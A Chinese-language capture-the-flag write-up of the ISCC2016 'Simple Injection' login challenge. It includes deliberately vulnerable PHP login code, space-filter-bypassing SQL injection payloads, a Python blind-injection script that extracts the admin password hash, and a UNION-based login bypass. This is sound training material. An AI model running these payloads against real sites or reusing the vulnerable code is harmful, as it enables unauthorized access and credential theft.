CTF – ISCC2016 – Simple Injection

题目说明

题目来源: www.jarvisoj.com

直达: http://web.jarvisoj.com:32787

题目分析

看到题目给出一个登录界面,首先查看源代码和burpsuite抓包,没有发现特别的东西,应该就是一个登录型SQL注入

常见的登录漏洞代码

同时验证用户名和密码

1
2
3
4
5
6
7
$sql = select * from users where username=$usernmae and password=$password
$result = mysql_query($sql);
if($result) {
echo "登陆成功";
} else {
echo "登陆失败";
}

分布验证用户名和密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sql = "select password from users where username='$username'"
$result = mysql_query($sql);
if($result) {
$row = mysql_fetch_row($result);
$query_password = $row[$password];
$input_password = md5($passowrd);
if($input_password == $query_password) {
echo "登陆成功";
} else {
echo "密码错误";
}

} else {
echo "用户不存在";
}

尝试使用 username=admin&password=123456 , 页面返回 密码错误
尝试使用 username=user&password=123456 , 页面返回 用户名错误
说明此题的验证方式采用分布验证用户名和密码

解题步骤

注入判断

  • 使用 username=admin'#&password=123456 ,页面返回 密码错误 ,说明后台没有对'#进行过滤
  • 使用 username=admin' or 1=1#&password=123456 ,页面返回 用户名错误 ,说明后台对admin' or 1=1#中部分内容进行了过滤
  • 使用 username=admin'/**/or/**/1=1#&password=123456 ,页面返回 密码错误 ,标明输入的SQL语句被执行,说明后台过滤了空格
  • 总结,过滤了空格,username存在SQL注入

开始注入

  • 查找表,username=user'/**/or/**/exists(select/**/*/**/from/**/admin)#&password=123456 ,页面返回 密码错误 ,说明数据库中存在admin表
  • 查找字段,username=user'/**/or/**/exists(select/**/username,password/**/from/**/admin)#&password=123456,页面返回 密码错误 ,说明admin表中存在username和password字段
  • 获取记录数量,username=user'/**/or/**/exists(select/**/count(*)/**/from/**/admin)#&password=123456,页面返回 密码错误 ,说明在admin表中只存在一条记录

知道了表名、字段、一条数据,接下利用Python爆破

解题代码

Python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: virgin-forest
# Time: 2018-08-10 21:30:34
# Describe:

import requests
from bs4 import BeautifulSoup

def get_wrong(responsec):
soup = BeautifulSoup(responsec,'html.parser')
try:
div = soup.find_all('div',attrs={'class','alert alert-error'})
strong = div[0].find_all('strong')
return(strong[0].get_text())
except:
pass

def try_page(payload):
url = "http://web.jarvisoj.com:32787/login.php"

data = {
"username":"xx",
"password":"1",
}

data['username'] = payload
response = requests.post(url,data=data)
return(get_wrong(response.content))

def get_password_length():
for i in range(300):
payload = "user'/**/or/**/(select/**/length(password)/**/from/**/admin) = {0}#".format(i)
if try_page(payload) == '密码错误':
print("password字段长度:",i)
return i

def get_password_data(pass_len):
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_@'
data = ''
for i in range(1,(pass_len+1)):
for char in chars:
char_ascii = ord(char)
payload = "user'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1)) = {1}#".format(i,char_ascii)
if try_page(payload) == '密码错误':
data += char
print(i,payload,data)
break

print("password字段数据:",data)

if __name__ == '__main__':
print("盲注开始...")
get_password_data(get_password_length())

运行结果

盲注开始...
password字段长度: 32
1 user'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),1,1)) = 51# 3
...
32 user'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),32,1)) = 51# 334cfb59c9d74849801d5acdcfdaadc3
password字段数据: 334cfb59c9d74849801d5acdcfdaadc3

通过Python脚本可以知道

  • password 长度为32位 可能是MD5 SHA加密
  • password 数据为 334cfb59c9d74849801d5acdcfdaadc3

获取FLAG

一、MD5解密

334cfb59c9d74849801d5acdcfdaadc3 md5解密得 eTAloCrEP ,输入正确的用户名密码就能拿到flag

二、构架SQL语句

username=user'/**/union/**/select/**/'c4ca4238a0b923820dcc509a6f75849b'#&password=1